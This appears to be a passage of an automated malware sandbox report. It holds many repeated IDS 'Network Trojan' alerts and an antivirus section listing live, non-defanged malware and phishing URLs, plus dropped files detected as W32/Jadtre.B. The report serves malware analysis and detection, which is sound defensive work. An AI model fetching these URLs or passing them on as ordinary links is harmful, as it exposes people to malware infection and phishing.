                Timestamp:07/05/24-08:03:41.444039
                SID:2804830
                Source Port:49983
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:26.243759
                SID:2804830
                Source Port:49883
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:21.588982
                SID:2804830
                Source Port:49877
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:03.711587
                SID:2804830
                Source Port:49854
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:37.304934
                SID:2804830
                Source Port:49977
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:49.873814
                SID:2804830
                Source Port:49915
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:09.822245
                SID:2804830
                Source Port:49788
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:45.329234
                SID:2804830
                Source Port:49832
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:40.301379
                SID:2804830
                Source Port:49826
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:45.630618
                SID:2804830
                Source Port:49909
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:58.427630
                SID:2804830
                Source Port:49848
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:21.965532
                SID:2804830
                Source Port:49803
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:54.077723
                SID:2804830
                Source Port:49921
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:11.938903
                SID:2804830
                Source Port:50022
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:56.765688
                SID:2804830
                Source Port:49772
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:52.760739
                SID:2804830
                Source Port:49919
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:24.899269
                SID:2804830
                Source Port:49807
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:20.049748
                SID:2804830
                Source Port:49800
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:42.205901
                SID:2804830
                Source Port:49752
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:38.921284
                SID:2804830
                Source Port:49979
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:54.596306
                SID:2804830
                Source Port:50000
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:41.078765
                SID:2804830
                Source Port:49902
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:43.040911
                SID:2804830
                Source Port:49985
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:31.140756
                SID:2804830
                Source Port:49814
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:47.448502
                SID:2804830
                Source Port:49991
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:07.014014
                SID:2804830
                Source Port:50016
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:48.742596
                SID:2804830
                Source Port:49993
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:02.421879
                SID:2804830
                Source Port:49932
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:07.985689
                SID:2804830
                Source Port:49707
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:59.023279
                SID:2804830
                Source Port:49775
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:59.595777
                SID:2804830
                Source Port:49849
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:32.413888
                SID:2804830
                Source Port:49816
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:49.333237
                SID:2804830
                Source Port:49914
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:40.799274
                SID:2804830
                Source Port:49827
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:01.645270
                SID:2804830
                Source Port:49931
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:46.143358
                SID:2804830
                Source Port:49910
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:31.994022
                SID:2804830
                Source Port:49740
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:18.210602
                SID:2804830
                Source Port:49798
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:29.365473
                SID:2804830
                Source Port:49812
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:16.700449
                SID:2804830
                Source Port:49950
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:48.584173
                SID:2804830
                Source Port:49913
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:09.582231
                SID:2804830
                Source Port:49941
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:27.612763
                SID:2804830
                Source Port:49885
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:11.088316
                SID:2804830
                Source Port:49790
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:54.943437
                SID:2804830
                Source Port:49770
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:24.597688
                SID:2804830
                Source Port:49881
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:36.822076
                SID:2804830
                Source Port:49822
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:35.746332
                SID:2804830
                Source Port:49745
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:13.522685
                SID:2804830
                Source Port:49867
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:53.003632
                SID:2804830
                Source Port:49841
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:31.304905
                SID:2804830
                Source Port:49739
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:18.614533
                SID:2804830
                Source Port:49721
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:52.875081
                SID:2804830
                Source Port:49998
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:08.737626
                SID:2804830
                Source Port:50019
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:08.773435
                SID:2804830
                Source Port:49708
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:35.965126
                SID:2804830
                Source Port:49975
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:03.707606
                SID:2804830
                Source Port:49779
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:37.506165
                SID:2804830
                Source Port:49898
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:55.345528
                SID:2804830
                Source Port:49923
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:08.090379
                SID:2804830
                Source Port:49939
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:10.613211
                SID:2804830
                Source Port:49863
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:10.129320
                SID:2037771
                Source Port:80
                Destination Port:49709
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:56.077593
                SID:2804830
                Source Port:49845
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:42.808063
                SID:2804830
                Source Port:49905
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:21.929385
                SID:2804830
                Source Port:49957
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:36.504685
                SID:2804830
                Source Port:49976
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:22.467645
                SID:2804830
                Source Port:49958
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:27.800233
                SID:2804830
                Source Port:49735
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:45.125470
                SID:2804830
                Source Port:49988
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:30.794906
                SID:2804830
                Source Port:49889
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:27.068264
                SID:2804830
                Source Port:49734
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:16.197642
                SID:2807908
                Source Port:49719
                Destination Port:799
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:45.826893
                SID:2804830
                Source Port:49989
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:49.292201
                SID:2804830
                Source Port:49994
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:04.301554
                SID:2804830
                Source Port:49780
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:32.950973
                SID:2804830
                Source Port:49817
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:17.963369
                SID:2804830
                Source Port:49872
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:12.497729
                SID:2804830
                Source Port:50023
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:00.092504
                SID:2804830
                Source Port:49850
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:38.997095
                SID:2804830
                Source Port:49749
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:33.087688
                SID:2804830
                Source Port:49971
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:17.182096
                SID:2804830
                Source Port:49871
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:54.393388
                SID:2804830
                Source Port:49769
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:52.117935
                SID:2804830
                Source Port:49997
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:53.745329
                SID:2804830
                Source Port:49842
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:03.554852
                SID:2804830
                Source Port:50012
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:24.393679
                SID:2804830
                Source Port:49806
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:49.026282
                SID:2804830
                Source Port:49836
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:58.713788
                SID:2804830
                Source Port:50006
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:20.674195
                SID:2804830
                Source Port:49801
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:50.934804
                SID:2804830
                Source Port:49765
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:55.629338
                SID:2804830
                Source Port:49771
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:21.708136
                SID:2804830
                Source Port:49724
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:25.038288
                SID:2804830
                Source Port:49961
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:59.743814
                SID:2804830
                Source Port:49776
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:08.019459
                SID:2804830
                Source Port:50018
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:11.351826
                SID:2804830
                Source Port:49943
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:45.977388
                SID:2804830
                Source Port:49760
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:04.345788
                SID:2804830
                Source Port:49855
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:42.127754
                SID:2804830
                Source Port:49904
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:12.148410
                SID:2804830
                Source Port:49944
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:11.619212
                SID:2804830
                Source Port:49791
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:38.413717
                SID:2804830
                Source Port:49748
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:54.615908
                SID:2804830
                Source Port:49922
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:57.901258
                SID:2804830
                Source Port:49926
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:55.324330
                SID:2804830
                Source Port:50001
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:15.277686
                SID:2804830
                Source Port:49717
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:19.304636
                SID:2804830
                Source Port:49799
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:23.576150
                SID:2804830
                Source Port:49880
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:38.608727
                SID:2804830
                Source Port:49899
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:49.601686
                SID:2804830
                Source Port:49837
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:36.943363
                SID:2804830
                Source Port:49746
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:12.700775
                SID:2804830
                Source Port:49945
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:27.088178
                SID:2804830
                Source Port:49809
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:43.976891
                SID:2804830
                Source Port:49757
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:48.267375
                SID:2804830
                Source Port:49835
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:34.940616
                SID:2804830
                Source Port:49744
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:36.258057
                SID:2804830
                Source Port:49821
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:37.575304
                SID:2804830
                Source Port:49823
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:14.135112
                SID:2804830
                Source Port:49868
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:40.295808
                SID:2804830
                Source Port:49901
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:30.268121
                SID:2804830
                Source Port:49738
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:18.688790
                SID:2804830
                Source Port:49953
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:33.861375
                SID:2804830
                Source Port:49893
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:59.407716
                SID:2804830
                Source Port:50007
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:04.734060
                SID:2804830
                Source Port:49935
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:00.871301
                SID:2804830
                Source Port:49851
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:27.799167
                SID:2804830
                Source Port:49964
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:40.931335
                SID:2804830
                Source Port:49751
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:07.510235
                SID:2804830
                Source Port:49785
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:10.645082
                SID:2804830
                Source Port:49710
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:36.832363
                SID:2804830
                Source Port:49897
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:43.929702
                SID:2804830
                Source Port:49986
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:50.838235
                SID:2804830
                Source Port:49839
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:08.006940
                SID:2804830
                Source Port:49786
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:26.860959
                SID:2804830
                Source Port:49963
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:40.742000
                SID:2804830
                Source Port:49982
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:23.869123
                SID:2804830
                Source Port:49805
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:46.114759
                SID:2804830
                Source Port:49833
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:14.773929
                SID:2804830
                Source Port:49716
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:32.330065
                SID:2804830
                Source Port:49970
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:05.856829
                SID:2804830
                Source Port:50015
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:39.713481
                SID:2804830
                Source Port:49750
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:01.487780
                SID:2804830
                Source Port:50009
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:31.791683
                SID:2804830
                Source Port:49890
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:25.619836
                SID:2804830
                Source Port:49808
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:02.941707
                SID:2804830
                Source Port:49853
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:10.569607
                SID:2804830
                Source Port:49789
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:09.655496
                SID:2804830
                Source Port:49862
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:27.085889
                SID:2804830
                Source Port:49884
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:28.406516
                SID:2804830
                Source Port:49811
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:57.670447
                SID:2804830
                Source Port:49847
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:19.261473
                SID:2804830
                Source Port:49722
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:22.349717
                SID:2804830
                Source Port:49878
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:15.340850
                SID:2804830
                Source Port:49795
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:02:04.886056
                SID:2804830
                Source Port:49856
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:13.526849
                SID:2804830
                Source Port:49714
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:58.195981
                SID:2804830
                Source Port:50005
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:17.267424
                SID:2804830
                Source Port:49720
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:06.213484
                SID:2804830
                Source Port:49783
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:21.203555
                SID:2804830
                Source Port:49802
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:04:02.950492
                SID:2804830
                Source Port:50011
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:43.459729
                SID:2804830
                Source Port:49830
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:34.880660
                SID:2804830
                Source Port:49819
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:01:01.041161
                SID:2804830
                Source Port:49777
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:03:15.937387
                SID:2804830
                Source Port:49949
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:07/05/24-08:00:28.927989
                SID:2804830
                Source Port:49736
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus / Scanner detection for submitted sample
                Source: a4#Uff09.exeAvira: detected
                Antivirus detection for URL or domain
                Source: http://www.careerdesk.org/images/xs.jpgAvira URL Cloud: Label: malware
                Source: http://ddos.dnsnb8.net:799/cj//k3.rarAvira URL Cloud: Label: malware
                Source: http://amsamex.com/xs.jpg?19388a30=-63609376licationAvira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpg?35067=651573Avira URL Cloud: Label: phishing
                Source: http://arthur.niria.biz/xs.jpg?a33c7a9=1540490481Avira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpg?fcf9a73d=-355233109Avira URL Cloud: Label: phishing
                Source: http://www.careerdesk.org/images/xs.jpg?71f7cbe=478016248Avira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpg?84b622e8=-2068438296Avira URL Cloud: Label: phishing
                Source: http://arthur.niria.biz/xs.jpg?fb47c601=-475094010Avira URL Cloud: Label: malware
                Source: http://www.careerdesk.org/images/xs.jpg?da83e528=-1365045656Avira URL Cloud: Label: malware
                Source: http://arthur.niria.biz/xs.jpg?e8e2ac16=1968179332Avira URL Cloud: Label: malware
                Source: http://www.careerdesk.org/images/xs.jpg?9d03c0a4=973570376Avira URL Cloud: Label: malware
                Source: http://arthur.niria.biz/xs.jpg?3def25de=761812174Avira URL Cloud: Label: malware
                Source: http://www.careerdesk.org/images/xs.jpg?9bcb84a=326725780Avira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpg?2eabe496=1566034220Avira URL Cloud: Label: phishing
                Source: http://arthur.niria.biz/xs.jpg?4d6da8df=-1696902722Avira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpg?c0085b83=2190860Avira URL Cloud: Label: phishing
                Source: http://ddos.dnsnb8.net:799/cj//k3.rarpAvira URL Cloud: Label: phishing
                Source: http://www.careerdesk.org/images/xs.jpg?10ed67fd=1987958763Avira URL Cloud: Label: malware
                Source: http://ddos.dnsnb8.net:799/cj//k3.rarsAvira URL Cloud: Label: malware
                Source: http://173.193.19.14/logo.gifAvira URL Cloud: Label: malware
                Source: http://arthur.niria.biz/xs.jpg?28fcab5b=-1544376980Avira URL Cloud: Label: malware
                Source: http://www.careerdesk.org/images/xs.jpg?e8ebb07=-2096852161Avira URL Cloud: Label: malware
                Source: http://amsamex.com/xs.jpg?19388a30=-63609376Z3Avira URL Cloud: Label: malware
                Source: http://www.careerdesk.org/images/xs.jpg?6340f643=-263925937xAvira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpg?29c644f8=1401719280Avira URL Cloud: Label: phishing
                Source: http://www.careerdesk.org/images/xs.jpg?11838a2=36729156Avira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpgs.jpgAvira URL Cloud: Label: phishing
                Source: http://www.careerdesk.org/images/xs.jpg?96b3ddc7=-243051293Avira URL Cloud: Label: malware
                Source: http://arthur.niria.biz/xs.jpg?7bdce87=1298796870Avira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpg?b092bd4e=891856830Avira URL Cloud: Label: phishing
                Source: http://apple-pie.in/images/xs.jpg?f396007=510836750Avira URL Cloud: Label: phishing
                Source: http://www.careerdesk.org/images/xs.jpg?196cfa85=-1308960349Avira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpg?31491f6=51679734Avira URL Cloud: Label: phishing
                Source: http://www.careerdesk.org/images/xs.jpg?a44fd8bb=-1858116884Avira URL Cloud: Label: malware
                Source: http://arthur.niria.biz/xs.jpg?d0ca9ad5=1918881919Avira URL Cloud: Label: malware
                Source: http://arthur.niria.biz/xs.jpg?222ff603=1720705545Avira URL Cloud: Label: malware
                Source: http://ddos.dnsnb8.net:799/cj//k1.rarH_Avira URL Cloud: Label: phishing
                Source: http://ddos.dnsnb8.net:799/cj//k2.rar6_Avira URL Cloud: Label: malware
                Source: http://kukutrustnet777888.info/DisableTaskMgrSoftwareAvira URL Cloud: Label: phishing
                Source: http://althawry.org/images/xs.jpgAvira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpgAvira URL Cloud: Label: malware
                Source: http://apple-pie.in/images/xs.jpg?1a62f99e=442694046Avira URL Cloud: Label: phishing
                Source: http://arthur.niria.biz/xs.jpg?7558a477=-1072440630Avira URL Cloud: Label: malware
                Source: http://amsamex.com/xs.jpg?b44a4f65=-785826412Avira URL Cloud: Label: malware
                Source: http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959fAvira URL Cloud: Label: malware
                Antivirus detection for dropped file
                Source: C:\Program Files\7-Zip\Uninstall.exeAvira: detection malicious, Label: W32/Jadtre.B
                Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exeAvira: detection malicious, Label: W32/Jadtre.B
